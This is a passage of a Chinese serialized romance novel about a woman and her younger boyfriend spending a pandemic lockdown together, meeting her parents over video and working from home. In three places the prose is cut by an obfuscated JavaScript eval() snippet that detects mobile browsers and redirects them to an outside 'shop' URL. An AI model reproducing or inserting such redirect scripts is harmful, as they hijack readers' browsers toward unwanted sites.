“噗咳咳咳……”舒瑶被他奇怪的形容给呛到了,“你是夸我呢,还是骂我呢?” 沈曜将尼龙袋里的蔬菜先拿出来放在茶几上,不敢再盯着她瞧,瞧下去他又要控制不住自己想吻她了。“夸你啊。你刚才梳头……我又想亲你了。” 舒瑶的心脏蓦地漏跳一拍,盯着他,有些挪不开眼。 这小男生说话也太直接了……弄得她不太适应。 “你别再看我了。”沈曜摇摇头,笑着垂下眼帘。他的脸和脖子依然绯红,耳廓更是快要变成深红色了。 他支着一条长腿坐在地上,另一条腿呈盘坐的姿势,将包里的东西小心地捧出来,只敢用余光瞄她,“我快忍不住了。你要么……去帮我倒杯水。” 越说,他越觉得自己口干舌燥。 舒瑶靥笑两声,起身去厨房给他倒了一杯白开水端过来。“有那么夸张吗?” 沈曜左手接过水杯,用右手拉着舒瑶的手往自己脸上贴,“你试试。” 一触碰到他的皮肤,舒瑶抽了口气,赶忙将手抽回来。 真热……那热度快赶上暖宝宝了。小男友没骗他,他太高兴,还处在亢奋中。 不过她对此能表示理解,甚至他的这种反应还让她觉得心里甜甜的。 回想自己初恋时就和他现在这般大,当时那种喜悦的感觉也是让她每天过得飘忽忽的,见到恋人时,心里每每都跟揣着个小火炉似的。 盯着男孩深邃的眼眸和完美的下颌角看了几秒,舒瑶觉得心里的那个熄灭了很久的小火炉复燃了。 屋子里明明没开暖气,可不停上升的温度让沉默的两人都觉得有些躁热。 “你别害羞呀。初恋都这样,我当年和杨衍……”舒瑶想找个话题打破两人之间那种既局促又甜蜜的微妙氛围。 谁料沈曜倏地抬眸,眸色中的凌厉一闪而过,“别提别的男人。” 记起舒瑶那段初恋,他明明在她身边,却只能眼睁睁看着和她之间的缘分蹉跎错过,自己却什么都做不了,他就觉得沮丧又无力。 那是他心底的一根无法诉之于口的暗刺,他永远都不会告诉她。 “……?” 舒瑶知道自己刚才提杨衍是一时失言,但这都过去多久了?他还是耿耿于怀吗? 沈曜凝在舒瑶脸上的视线万分炙热,眸光又沉又深,“以后只能想我。” 原来是在吃陈年老醋啊……舒瑶心下恍然。 小男友是天蝎座,听娓娓说这个星座独占欲特别强。 看来是真的。 见他又露出那种侵略性十足的眼神,舒瑶圆亮的瞳仁转了转,挑唇逗趣的问他:“那我爸呢?我想我爸,你能怎么着?” 沈曜有些凶狠的眼神立时覆上一层迷蒙。 他沉默了好一会儿,才傲娇地移开与她较劲的视线,喃喃道:“那我就和你一起想他。” “噗哈哈哈……”舒瑶一个没憋住,双手捧着肚子笑得花枝乱颤。 这个小男友可爱的想让自己扑上去揉他的脸。舒瑶忍了半天才忍住这种冲动,免得刺激到男生的自尊心。 怎么办?今晚“可爱”这个词要被自己用烂了,但她瞧着眼前新鲜热乎刚出炉的男朋友,就是想用这个词形容他。 沈曜虚着眼睛低头不看她,眉头微微蹙着,“咳……赶紧收拾。菜要放冰箱吗?” 舒瑶心情特别好,歪着头,弯着眼睛撩他说:“你让我摸摸头,我们再一起收拾。” 沈曜掀起眼皮,视线胶着在她秀致的脸庞上,嘴唇紧抿,拼命忍耐。 他想忍的,他也努力过了,可最终还是沉迷在她澈亮迷人的眼眸中。 年轻的男人认命地闭了闭眼,深呼吸一口气,忍无可忍后,扔下手里的东西,朝着女朋友红润的唇瓣扑过去…… 五分钟后,两个快赶上西红柿一样红彤彤的脑袋才恋恋不舍的分开。 再亲下去,今晚就得擦枪走火了。 一阵音乐铃声响起,舒妈妈的视频电话在此时打了过来。 舒瑶正坐在沙发上打坐努力调整呼吸,而精力旺盛的男朋友则去到卫生间用冷水洗脸。 “喂——”舒瑶上下扫了一眼自己的居家服,将有些歪斜的衣服扯了扯才点了接通键,“妈妈,这么晚你怎么还没睡呀?” “瑶瑶,爸爸和妈妈睡不着啊。都很担心你。”舒瑶父母在家里,收到舒瑶的通知后,心下始终焦灼难安。即使得知女儿暂时不愁吃喝,可也放心不下。 遇到这种事,他们怎么可能真的放心呢? 舒爸爸在视频那头急得直搓手,坐立不安。 舒妈妈愁得眉眼耷拉下来:“这时候要是萱萱在就好了,至少还能陪陪你。可惜她还被封在学校里……” 眼尖的舒爸爸没等老伴儿把话说完,陡然插嘴问女儿:“瑶瑶,你脸怎么这么红啊?别是发烧了吧?” 舒妈妈一听,急得差点跳起来,抖着手拿起挂在脖子上的眼镜匆忙戴上,凑近手机盯着宝贝女儿直瞧,“瑶瑶,你的嘴怎么肿了?哎呀!嘴唇怎么还破了呢!刚才在家摔哪里磕到了吗?” 舒瑶默然望了眼天花板,有点想抓狂。 这要怎么和爸妈说啊……和人打架打的? 什么人啊……打架光打嘴? 这么一想,明显就瞒不下去。 反正人也收了,亲也亲了。一不做二不休,干脆她就…… 舒瑶调整了一下坐姿,端正态度,一本正经地向父母汇报:“爸,妈,你们不用担心。因为……” 身后的卫生间传来开门的响动,但看见舒瑶在和父母视频,男人没冒然走过来。 舒瑶的父母见女儿摆出这么严肃的姿态,都不禁坐直身体,表情慎重。 “因为什么?”舒爸爸的眉头都快打结了,身体一直往前倾。 舒妈妈看不过眼,轻轻拍了拍他,提醒道:“你的脸要钻到摄像头里了。别紧张,等女儿慢慢说。” 舒瑶回头瞄了一眼正屏住呼吸、贴着墙壁站得笔直的帅小伙儿,心里一阵憋笑。 这天不怕地不怕的小帅哥,也有拘谨的时候,真难得。 怎么办啊?她忽然觉得自己好幸福。 舒瑶捂嘴笑了一下,望向小男朋友的眼神里带着俏皮,转回身子向父母郑重宣布:“因为我有男朋友了,他今天来陪我啦。你们不用再担心我一个人,有人陪我呢。” “哐啷”一声,对面的手机一瞬间掉地黑屏了。虽然屏幕显示一片黑,但父母的声音仍从手机那头传过来,很清晰。 “哎呦!你把手机拿稳啊。”舒妈妈小声埋怨道。 “我不知道要拿稳么?这不是被吓到了么!”舒爸爸声音低低地反驳。 舒瑶也知道这消息对脾气有点急燥的爸爸来说属于爆炸性的。 于是她沉默片刻,耐心等二老架好手机。 这次舒爸爸学乖了,拿了个手机支架将手机放稳,才急吼吼地问女儿:“怎么突然就有男朋友了?之前没听你提过啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033040|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点风声都没和我透过。是同事吗?还是以前的同学?” 其实苗头早就有了,只是舒爸爸平时粗枝大叶,大部分精力都放在工作和钓鱼上,才没瞧出来。 舒瑶闷笑了一会儿,等待老妈出声。 果然舒妈妈斜了一眼老伴儿,“谁叫你粗心。自己看不出来还怪女儿?”说着,她才笑呵呵地望着镜头里的乖女儿,“是不是那个叫沈曜的小孩儿?” 舒瑶这时候才有了点儿害羞的自觉,笑着点点头,“是啊。他今晚过来的,刚来没多久。还给我带了好多吃的。妈妈别担心我了。我这小房子可金贵呢,养着两个大活人了。” “沈曜?”舒爸爸眯起本就不大的眼睛,“这名字怎么耳熟呢?” “我之前和你提过的,你自己没放在心上,记不住能怪谁。”舒妈妈又开始数落舒爸爸。 “哦!”舒爸爸的身体往后一仰,又靠过来,恍然忆起点什么,“有印象,有印象!是不是几年前有阵子一直和瑶瑶连视频的那个?可他……不是比瑶瑶小好多岁吗?” 现在这个社会,女朋友比男朋友大个两、三岁的比比皆是,但大七岁的可不常见。 舒爸爸越问越着急,急得双手不停地来回搓额头,“这这这……这孩子成年了没啊?毛头小子愣头青怎么能当瑶瑶的男朋友啊?” 舒妈妈已经懒得理老伴儿了,靠在一旁捶捶肩膀,休息一会儿,瞅着他干着急。 “爸,你别再搓额头了,已经够亮了。”舒瑶不忍心再逗老爸,回身对还靠在墙壁上的帅男友招了招手。 沈曜大概是还没做好刚确定关系就得被展示给家长的心理准备。见舒瑶招手,怔了几秒才离开紧贴的那面墙,脸上没什么表情,不知道是不是紧张地麻木了。 他慢慢地走到舒瑶身边,手脚都不知道该怎么摆了。 舒瑶好担心他同手同脚,又咯咯笑了几声,凑近他耳畔,轻柔地对他说:“别紧张。记住,我喜欢你,就是你的底气。” 女人突如其来的表白炸得沈曜一阵天旋地转。他怎么也没想到她会在此时对自己说出他渴求了很久的话语。 他的耳朵仿佛在听见这句话时幻听了,喉头不禁一阵急滚,极力握紧双手才克制住又想亲她的冲动。 舒妈妈见那男生倏然两眼发直,粘在女儿脸上的视线痴痴地拔不下来,想笑又不敢笑,只好低下头假装找什么东西。免得笑出来让那男生看见,会令他尴尬。 舒瑶没让沈曜坐,自己反而从沙发上站起来,将头亲昵地贴靠在他肩膀上,另一手高举起手机给父母看,甚至还用手比划两人的身高差,“喏!爸爸你别瞎操心了,瞧瞧他,多高多帅啊,早就成年啦。最近还在我们公司实习呢。” 见身旁的男朋友和定格了似的,她才用手指轻轻戳了戳他的脸,提醒他别失态。 沈曜身子轻颤了一下,回过神来。 他的脸一直绷着,一会儿看看镜头,一会儿又忍不住侧头瞄瞄贴在自己肩膀上的女朋友,忙得脸和耳朵又通红一片。 舒瑶此时连自己都没发觉,只要沈曜不和她有肢体上过分亲密的行为,她和他相处的就会很自然。 这或许就是两人认识多年堆积出来的情感基础了。 时间不会造假,光阴骗不了人。 两人之间冒着粉红泡泡的亲昵而自然的情态,令舒母露出欣慰的笑容。这男生虽然比女儿年纪小,但那么几年的执着等待已经得到了她的认可。 “嗯……我瞧瞧。”舒爸爸拿过手边的老花镜,比着手机上下仔细打量这个高大的男生,“是很高,也很帅。但我怎么觉得不对劲啊。” 舒瑶眨眨眼:“哪里不对劲?” 舒爸爸到底也是年轻过的,此时细细回想,回过味儿来了。“难怪几年前这小子总给你打视频电话,这是惦记你好几年了吧……” 舒瑶和沈曜:“……” 69.金屋藏夫(二) 舒瑶假装咳了一声,心里有点被家长识破的忸怩。她扯扯沈曜的衣角,示意他和自己一起坐到沙发上,准备迎接老爸的问询。 舒爸爸在某些方面属于粗中有细,看问题的角度很刁钻,但足够犀利,一语道破关键点。 舒爸爸得意地问:“怎么样?爸爸没猜错吧?” 舒瑶的嘴角抽了抽:“呵呵呵……” “老爸精着呢。” 舒瑶有点不敢相信,“真不是我妈给你的提示?” “啧。这孩子。”舒爸爸皱了皱眉头。看来以往自己在女儿心中的形象还有待提高。 沈曜心里紧张过一阵,此时随着父女俩你一言我一语,已经调整好心态。 他极为礼貌地对镜头里的两位长辈颔首打招呼,表现地很稳重,“伯父伯母好。我是沈曜,您们别担心,封禁的这段时间我会陪着舒瑶。” 舒爸爸一手举着老花镜,还在盯着他看,仿佛在鉴定一颗钻石是不是真品。 “你喜欢我家瑶瑶?”舒爸爸问。 “是。” “什么时候开始喜欢的?” “高一。也许更早。” “期间喜欢过别的女孩子吗?” “没。只喜欢她一个。” 舒爸爸沉默须臾,如果这小男孩儿说得都是真的,那实属罕见。同为男人,舒爸爸非常清楚男人对于感情的观念。 “你还在读大学吧?哪所大学?毕业了什么打算?”舒爸爸接着问。 “海城的法政大学。毕业后打算做企业法务。”停顿少晌,沈曜又补充一句,“今后我就留在海城了。” 听到女儿男友后来的话,舒爸爸心底有点满意了。原本他觉得男生年纪太小,和舒瑶不太相配。在他的固有思维里,男人应该比女人大一些更稳妥,毕竟男人在心理年龄上总会成熟的比较晚。 但既然女儿愿意,这小鬼头又喜欢了女儿这么些年,那他明面儿上便不打算再反对。 舒爸爸微微点点头,继续问:“还会去外地或外国深造吗?” 沈曜认真思索一会儿,才回答:“半年之内的深造可以,超过半年就算了吧。我的职业规划主要是面向国内。如果工作方面有需要,国内现在与国外对接的培训机构也很多,不一定要去国外……” 听着这个年轻人对未来的职业发展规划,舒爸爸心底很赞同。这孩子虽然年纪不大,可目光长远,考虑也很细致全面,比他们事务所新来的几个新人强多了。 在同龄甚至比他稍大几岁的孩子里,也算出类拔萃。 舒爸爸以前听到过女儿和老伴儿提起过沈曜,故而对他的成长背景知道一点儿。这位小朋友在这个年纪会有这种思维框架,也是小时候吃过些苦头的。 听他一路分析地头头是道,舒爸爸将搭在眼镜边的手放下来。 沈曜将自己的职业发展计划介绍完,话锋一转,“但不到万不得已,我应该不会离开舒瑶太久。” 沈曜的眼神从屏幕抽离,落到舒瑶脸上,眼里满是真诚的眷恋,接着才说:“不愿意,舍不得,不放心。” 舒瑶正在喝水,倏然被他直白地向自家老父亲坦诚感情的语言呛到,捧着杯子的手不慎抖了抖,一股水流冲进嗓子眼儿,不禁“咳咳”咳嗽起来。 别人都是否认三连。而她的男朋友是表白三连。真行。 沈曜抬手替她拍背,又赶紧从茶几上抽了张纸巾递给她。 舒瑶听得都禁不住脸红了,打岔地问她老爸:“爸你干嘛呢?BOSS面试啊?” 舒爸爸嘿嘿笑起来,“爸爸就是想替你把把关,不是面试员工,但好歹也算个面试啊。” 未来的毛脚女婿,很重要的啊!当然得好好询问一番。舒爸爸不停地对女儿挤眉弄眼。 舒妈妈在一旁见老伴儿话问的差不多了,才凑过来叮嘱:“瑶瑶,时间很晚了。本来我们担心你一个人要被封那么久才着急得睡不着,现在有小沈陪你,我和你爸也能稍微安心一点。你们早点休息吧。妈妈明天再和你打电话。” 舒爸爸急着说:“诶?怎么就要挂了?我还有话没问完……” 舒瑶看着电话里爸爸无可奈何的样子,心里既甜又酸。 不过现在时间太晚了,老年人睡得晚会特别影响健康,舒瑶对着手机屏幕挥挥手,“晚安,爸爸妈妈。你们快去睡吧,熬夜对心脏不好。” 沈曜也跟着和两位长辈说晚安。 “嘟——” 电话挂断后,舒瑶的视线移到沈曜的手上,发现他的双手还在无意识地轻轻搓着膝盖。 原来他也是紧张的,只是他将表情控制的很好,没在父母面前表现出来。 真是难为他了,还没好好体会刚和恋人确定关系的快乐心情,就得面对家长的考察。 舒瑶心里酸酸软软的,给了他一个温暖的拥抱,“表现很好。辛苦啦,男朋友。” 沈曜望着她的眸光深邃,将她比自己小了一圈的手拢进自己的双手之中,轻轻捧在掌心,小心包裹住。 他凑过去亲了亲她的眼睑,“不辛苦,我盼好久了。只是没想到会在今天。” 舒瑶被他亲昵又珍惜的举止撩得痒痒,快速在他脸颊上小啄了一口,又抬手摸摸他的头发。 她终于能好好摸他的头发了,果然还和记忆中一样,发质偏硬,有点扎手,但是很顺滑,滑得她舍不得将手拿开。 沈曜坐着不动,眼中噙着宠溺的笑意,看着难得调皮的她,好久都没眨眼。 “你头发真多啊。我不担心你以后老了的发量问题了。”舒瑶欣慰的感叹道。 “喜欢就多摸摸。”沈曜将脑袋又凑近了点,在她柔软的掌心里蹭了几下,“随便摸,管够。” 舒瑶拉着他的手轻晃两下,嗔笑着推他,“好了好了,不腻歪了。再腻歪下去,今晚大家都没法休息了。我们赶紧收拾东西吧。” 沈曜抬头扫了眼墙上的挂钟,不和她闹了。听说睡得晚对女生尤其不好。 两人快手快脚地将铺开一地的东西逐一安置好。 沈曜在整理物品时将外穿的敞襟黑衬衫脱在了一边,只穿了件打底的短袖白T恤。 五月的海城气温已经在25度左右徘徊,他跑过来到她家后,基本没闲着,忙完已出了不少汗。 白T被汗水洇湿,贴在男生肌理精健流畅的脊背上。 舒瑶给沈曜拿了条新毛巾,让他先去冲澡,自己则去归置一些零碎的小东西。 十分钟后,男生顶着一头半干的头发从卫生间走出来,淡淡的水汽伴着沐浴露的清香,散得整个客厅都能隐约闻到那股清爽的香气。 他穿着简单的白T和黑色棉制长裤,将擦头发的毛巾挂在脖子上,像是刚从蓝球场上下来,有股蓬勃的朝气,瞧着比平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043944|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在公司里显年轻。 看着这样的男生,想到他已经是自己的男朋友,舒瑶的罪恶感又悄然漫上心头。 但在瞥见他眼底的黑眼圈时,舒瑶又将那股感觉无视了。 舒瑶在心里劝自己:别乱想了,要不是为了我,他不会把自己逼得那么辛苦。 “我发现你白色T恤很多啊。”舒瑶将两条黑巧克力放到冰箱里,那是沈曜今晚赶来之前给她买的,他知道她爱吃黑巧。 “还行。搭衣服方便。”沈曜又拿着毛巾在头发上来回擦,“今晚我睡哪儿?” 舒瑶将目光投向主卧隔壁的那间次卧,“你睡次卧吧。我已经将萱萱的东西整理好放到她柜子里了,床单和被套也都刚换过。特殊时期,没办法太讲究了。” 沈曜目不转睛地瞧着舒瑶,缓了口气,才问:“今晚我能睡客厅吗?” 舒瑶疑惑地望着他,“怎么?” 沈曜的耳朵根泛红,眼神移到斜对着主卧的沙发上,“想看着你的房门睡。不然我可能会想你想得失眠。” 舒瑶沉默了。这家伙……是不是在来之前背过《情话大全》之类的杂书。 甜蜜像是从天而降的一张情网,将舒瑶兜头盖脸地罩住,勒得她心跳骤然加速。 她以前就知道这男生有一张能把人瞬间惹生气的嘴,但当他说好听的话时,也能霎时令人乐得飞上天。 “行吗?”帅帅的男朋友满眼期待,盯着她的眼睛很亮,亮得像是藏了一整片忽闪忽闪的星河。 舒瑶走到他身前,仰头笑着瞧他,又伸手捏了捏他热乎乎的红耳垂,“姐姐同意了。” 于是,三更半夜,两个刚跌入恋爱的小情侣出现了如下愚蠢的一幕。 长手长脚的年轻男人窝在客厅一张柔软的沙发上,将所有注意力都放到了卧室里的那张大床上。 床上有他心爱的女人。 每隔一、两分钟,他就会低低的对那张床问一句。 “睡了吗?女朋友。” “没有。”床上的女人忍住笑意,“快睡吧,小男友。” “睡不着。大脑太亢奋。” “……” “睡着了吗?女朋友。” “你再继续问下去,天都快亮了。” “好想你。” “我也想你。” “不想睡,闭上眼就看不见你了。” “乖,快睡吧。梦醒一睁眼,就能看见我了。”原来哄男朋友的感觉是这样的。女人忍不住了,躲在被子里傻笑了一会儿。 “舍不得闭眼。”沈曜的声音极温柔,饱含着恋恋不舍的情意。 “晚安,小男友……”女人回答他的声音越来越轻。 在沈曜到鸿轩实习的第三周,她才知道男生有正在实习的工作,为了追她,才到她的公司里来。这段时间看他又是学习又是工作两头忙,她心底其实很心疼他。 [睡吧,愿你今夜能做个好梦。] 舒瑶躲在被子里,将这句话放在心里说道。她想让他休息了,好好放松地睡一觉。所以她假装自己睡着了。 直到卧室里女人柔和甜美的嗓音渐渐弱下去,他才停止了重复的轻唤。 男生盯着从窗帘缝隙里漏进来的一小片银辉,心里想着,他终于有资格在深夜与她看着同一片月光了。 而明天早上,他们会在同一片阳光下醒来。 70.金屋藏夫(三) 明媚的阳光被窗帘过滤,只有依稀的光亮渗透进来。 时间已过午,然而不论是卧室还是客厅,仍处于一片朦昧的静谧中。 舒瑶是被饿意弄醒的。 虽然感觉腹中饥饿,但窝在柔软舒适的被子里赖床的感觉太美妙,她又躺了一会儿才起床。 可当她撑着身子从床上坐起时,一眼瞧见自己卧室的门没关。 透过开着的房门,手长脚长的男生窝在客厅沙发里睡得正沉,这般暖心的画面闯入眼帘,让她呆了好半晌。 “……?” 昨晚发生了什么?沈曜怎么在她家? 记忆随着大脑的运转渐渐回笼。 她想起来了,她从昨晚开始已经摆脱单身,是个有男朋友的女人了。 一股甘甜从心湖里涌起,舒瑶翘起唇角,笑了。 她掀开被子,轻手轻脚地走近他。 沈曜明显还没醒,他将一条腿曲起,另一条则从沙发单侧的扶手旁支出去一小截。 他的头枕在一只胳膊下,脖子窝着,盖在身上的薄毯有一半滑落到地上,另一半则堪堪盖着他的腹部。 还好现在天气不冷,否则如果是冬天,这么睡估计得冻生病了。 在睡着的状态下,他脸上的神情十分放松,纤密的睫毛在眼睑下方笼出一层扇子般的阴影。平日里拽拽的神态不见了,瞧上去单纯又温柔。 柔和的表情为他俊美的五官加了不少分。舒瑶盯着这张俊美的脸好久,才惊觉自己找了个超高颜值的男朋友。 之前和他呆在一起总是拌嘴,再加上对他少年时叛逆又难相处的印象太深,舒瑶知道他长得好,但都没怎么真正在意过他的长相。 现在他安静地睡着,并且身份于自己而言也有了大变化,她才意识到自己这个浓颜系男朋友长得超好看,棱角分明的脸部轮廓,无可挑剔的五官,面部折叠度很高。 如果要给他的颜值打分,一百分是满分的话,舒瑶能给出九十八分,还有两分就当谦虚扣的吧。 “附近几所学校的男生加起来,没一个长得比我帅的。”男生少年时代说过的话在她耳旁回响。 好吧。她承认他说得没错。舒瑶偷笑一下,轻轻为他拉了拉毯子。 不知做了什么美梦,男生的嘴角几不可查地勾起小小的一点弧度。 舒瑶盯着他又看了半分钟,捻了捻手指,好不容易忍住去摸他睫毛的冲动。 到底是年轻啊……经过十多个小时的睡眠修整,男生眼下的黑眼圈已经消失无踪了。 太好了。看来他休息的还行。 为了不惊扰他,舒瑶轻手轻脚地离开,踮着小猫步悄声走进卫生间洗漱。 可当她洗漱完,几乎不发出任何声音的打开门时,还是看见他已经醒了。 ……这门隔音不行,看来以后得换一个,舒瑶想。 “你醒啦?”舒瑶笑盈盈地走过去,却见男生一脸严肃,蹙着眉看她。 “怎么了?睡沙发不舒服吗?今晚还是睡次卧吧。”舒瑶走到他面前,见他仰头直视自己,抬手亲昵地捏了捏他的脸颊。 沈曜的头发翘起了一小撮,他看着舒瑶的眼神里透出一丝窥探,声音里有着刚睡醒的暗哑,“我没做梦吧?” “……?” 舒瑶眼露疑惑,歪着头看他。 也许是刚睡醒,沈曜还有些懵,泛着迷糊问:“你是我女朋友了?” 舒瑶噗嗤笑出了声,“对啊。你没做梦。昨晚我不是给你盖章了么。”说着,她用手指点了点他的嘴唇,暗示昨晚的热吻。 沈曜的眼神这才清明起来,搂着舒瑶将她带进自己怀里,坐在他腿上,“我刚还担心你反悔。” 舒瑶看着他变红的耳廓,觉得他太讨人喜欢了。明明会害羞,但想跟自己贴贴的行为一点儿没落下。“反悔干嘛。你那么好。” 舒瑶举起手臂绕到他的脑袋顶上,用手指拨了拨那撮因翘起而显得毛茸茸的头发。 沈曜盯着她脸颊的眼瞳越来越亮,最后不堪忍耐,亲了一下她的脸,“我去洗漱。等会儿给你做吃的?” 舒瑶勾着他的脖子,柔柔地低语,“一会儿一起做。现在我们出不去了,好好做一顿午饭,就当庆祝。” 沈曜笑起来,露出一口皓齿,“好。” - 本来这天舒瑶是请了一天假的,封禁第一天,她估计会有很多家里的杂事要处理。 但在舒瑶起床没多久,陈理杰就给她打了个电话。说是临时接到一个童装品牌六一儿童节的线上推广活动,让舒瑶看完甲方的要求以后,马上组织A组下午开个会商讨执行方案。 舒瑶认真听完,挂了手机。 厨房里飘散着一股炒牛腩的香味,舒瑶凑过去扫了眼正在颠锅的青年,双手搂住他的腰,将身体贴靠在他背后,下巴搁在他肩膀上,喜悦的说:“没想到你做菜的手法这么熟练,以前特意练习过?” “嗯。高中那会儿不是被你甩了么。为了发泄,我就在家炸厨房。后来发现烧菜还挺有意思。”沈曜翻动锅铲的声音略微大了点,像是回忆起那阵的心情似的。 舒瑶哈哈笑起来,踮起脚尖,在他耳朵边亲了一口,“什么叫甩了你。那时候我俩又没谈过。顶多算你单相思而已。” “哼。”男友不服气,“没谈是没谈,但你肯定看出来我喜欢你了。” 舒瑶笑着哄他,“乖。那时候你未成年啊,我可从没往那方面想过。以后我都会好好对你的。我先去切菜。” “小心别弄伤手。”沈曜叮嘱她。 “知道啦~” 舒瑶正在切西红柿,寻摸着等和沈曜吃完中饭,就给梅悦儿打电话,让她安排下午组里的视频会议。 没想到还没过半分钟,梅悦儿的视频电话就打过来了。 舒瑶赶紧擦擦手,连通视频。 “组长,不好意思啊,你休假还打扰你。”梅悦儿看着视频里的舒瑶穿着居家服,背景好像是她家的厨房。“你在做饭啊?” 舒瑶对她笑了下,举着手机来到窗户边,“没关系。正在做,快做好了。你是来和我说那个六一儿童节的线上活动吗?” 她不在公司,陈理杰应该是提前和梅悦儿交代过这个活动的大致情况了。昨天她和陈理杰电话请假时,就说过委托梅悦儿代管A组的。 “对呀。平时这时候咱们应该是最闲的,不过接了这个线上活动,又得忙几天了。幸亏是线上的,工作量没线下那么大。”梅悦儿拿起咖啡唆了一口。 视频里的舒瑶点点头,正想说话,她身旁传来一个不甚清晰的年轻男声,“牛腩炒得差不多了。” 梅悦儿怔了几秒,忽然睁圆眼睛,“组长,你不是一个人在家被封着啊?” 舒瑶犹豫一瞬,笑容里露出些甜意,“对,我男朋友昨晚跑来陪我了。” 沈曜一直在专心致志地干活,他本以为舒瑶和陈理杰的电话已经打完了。没想到一回头,看见舒瑶举着手机又在和人打视频,耳朵上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈曜转头望了一眼正在专心写资料的舒瑶,难得在好友面前露出腼腆的笑容,“我也挺意外。不知道她是被我感动的还是……” 周思诺不同意他的想法,“自信点儿。你觉得你这小姐姐能是因为感动就随便和人谈恋爱的类型吗?” 沈曜思忖片刻,神情从犹豫变得泰然,“不是。” “对嘛。她肯定是早就对你心动了,只是考虑的方面比你多,顾虑也多,所以才没早早的答应你。昨天你冲过去,大概是让她消除了某些顾虑,所以就同意了呗。毕竟面对这种生死大事,最能看出一个人的真心和人品。你过关了。” 沈曜听后,也有几分赞同。 旁观者清。周思诺的说辞令他心底一些模糊不清的意识变得明朗起来。 两人简单聊过几句,结束了通话。 周思诺很够意思,找了个充电宝和旧手机,为沈曜全程视频直播上课现场。 舒瑶担心沈曜长时间看手机会伤着眼睛,于是搬出家里的投影仪,在客厅给他连上手机,让他用投影仪观看课程。 一个下午过去,沈曜在客厅专注听课记笔记,舒瑶则在卧室里一边与同事们连视频会议,一边草拟活动方案的要点。 两人在单独的小空间里互不打扰,各自忙碌,倒是谁也没耽误谁。 因为对方就在离自己不远的地方,反而安全感满满,彼此心里竟出奇的踏实。 71.金屋藏夫(四) 居委会的第二份通知是在封禁的第二天晚上发出来的。 通知内容简明扼要,说是只要在封禁的一个月内不再发现新增的感染者,就能解封。 接下来的日子里,因为有了沈曜的陪伴,舒瑶的日子过得很滋润。 工作日的时候,两人轮着做饭。舒瑶做中饭,沈曜做晚饭。等到双休日的时候,两人会一起做。舒瑶负责准备食材,沈曜负责掌厨。 短短二十多天,两人的厨艺都有了飞速进步。 因为没办法出门,所以他们只能在室内做一些简单的健身运动。 舒瑶倒是还好,家里有瑜伽垫,她平时可以做瑜伽。 沈曜没那么幸运,只能做做单调的俯卧撑来锻炼消耗体力和多余的精力。 毕竟面对心爱的人,要保持坐怀不乱,不去做一些往常梦里才会恣意去做的事,对他来说难度空前巨大。 有一次,舒瑶看他在做平板支撑,突然心血来潮,提出可以给他当人肉砝码,趴在他身上为他增加力量训练的难度。 沈曜憋得满脸通红,逗得舒瑶笑得花枝乱颤,差点停不下来。 沈曜大三下学期期末的考试,试卷是导师临考前十分钟亲自发给他的。 舒瑶帮他打印下来,而他则通过电脑视频监控进行考试。 沈曜期末考试的大事刚过,居委会发来不幸的消息。华馨苑又冒出了疑似感染者,在确认之前,封禁得延长两星期。 舒瑶与陈理杰汇报了此事,陈理杰表示理解的同时,还不忘叮嘱她的工作。 几年前与鸿轩策划合作过的世纪婚纱打算在八月开展,争取通过展览时签下一批婚纱摄影和租赁订单,抢占十一长假的婚礼旺季的市场份额。 舒瑶与世纪婚纱合作过好几次了,每年他们的展览都差不多在八月举办,因此对与世纪婚纱的合作习惯了如指掌。 只是没想到,陈理杰与她交代完工作,还半开起玩笑来:“舒瑶,你猜猜他们这次的项目执行人是谁?” 舒瑶歪头想了会儿,觉得执行人估计是换人了,但一时半会儿她也想不出来会是谁,多半会是熟人,否则陈理杰不会用这种打趣的语气和她开玩笑。 “刘昊?”这人是前年的展览项目负责人,舒瑶刻意跳过去年的那位。 陈理杰笑笑,说:“不是。是我们头一次和世纪婚纱合作过的那位。” 舒瑶眯眼回忆几秒,有些惊讶,“难道是梁毅博?” “对。看来你记性不错。就是他。” “他不是几年前去国外开拓市场了吗?我以为他会一直留在国外。” “他在那边业绩不错,有当地的公司想挖他,世纪婚纱为了留住他,还给他分了点股权。现在他回来了,职位已升至华东区的副总裁。他说是为了熟悉国内这几年的市场,所以本次仍亲自担任项目执行人。” “哇噢~好厉害。” 陈理杰约莫四十岁了,看着舒瑶一路成长起来,感叹她工作能力强的同时,又替她的个人问题唏嘘不已。 这次与她视频,见她仍是一副不甚敏感的模样,陈理杰心里有点替她着急,语气便夹杂了一点儿特殊暗示,“他还是单身。这次还特地指定要你负责他们的项目哦。你是不是该私下单独联系他一下?” 舒瑶眨巴两下眼睛,听懂了上级的话外之意,释然笑道:“谢谢陈总,等晚点我会联系他的。” 与陈理杰断了视频,舒瑶就将这几年和世纪婚纱的策划案都找出来,依次翻看。 因为与这家甲方的展览合作是个大规模的项目,舒瑶看得格外投入。她将这几年的方案拿出来对比、总结,还增加了不少改进及创新的意见记录下来。 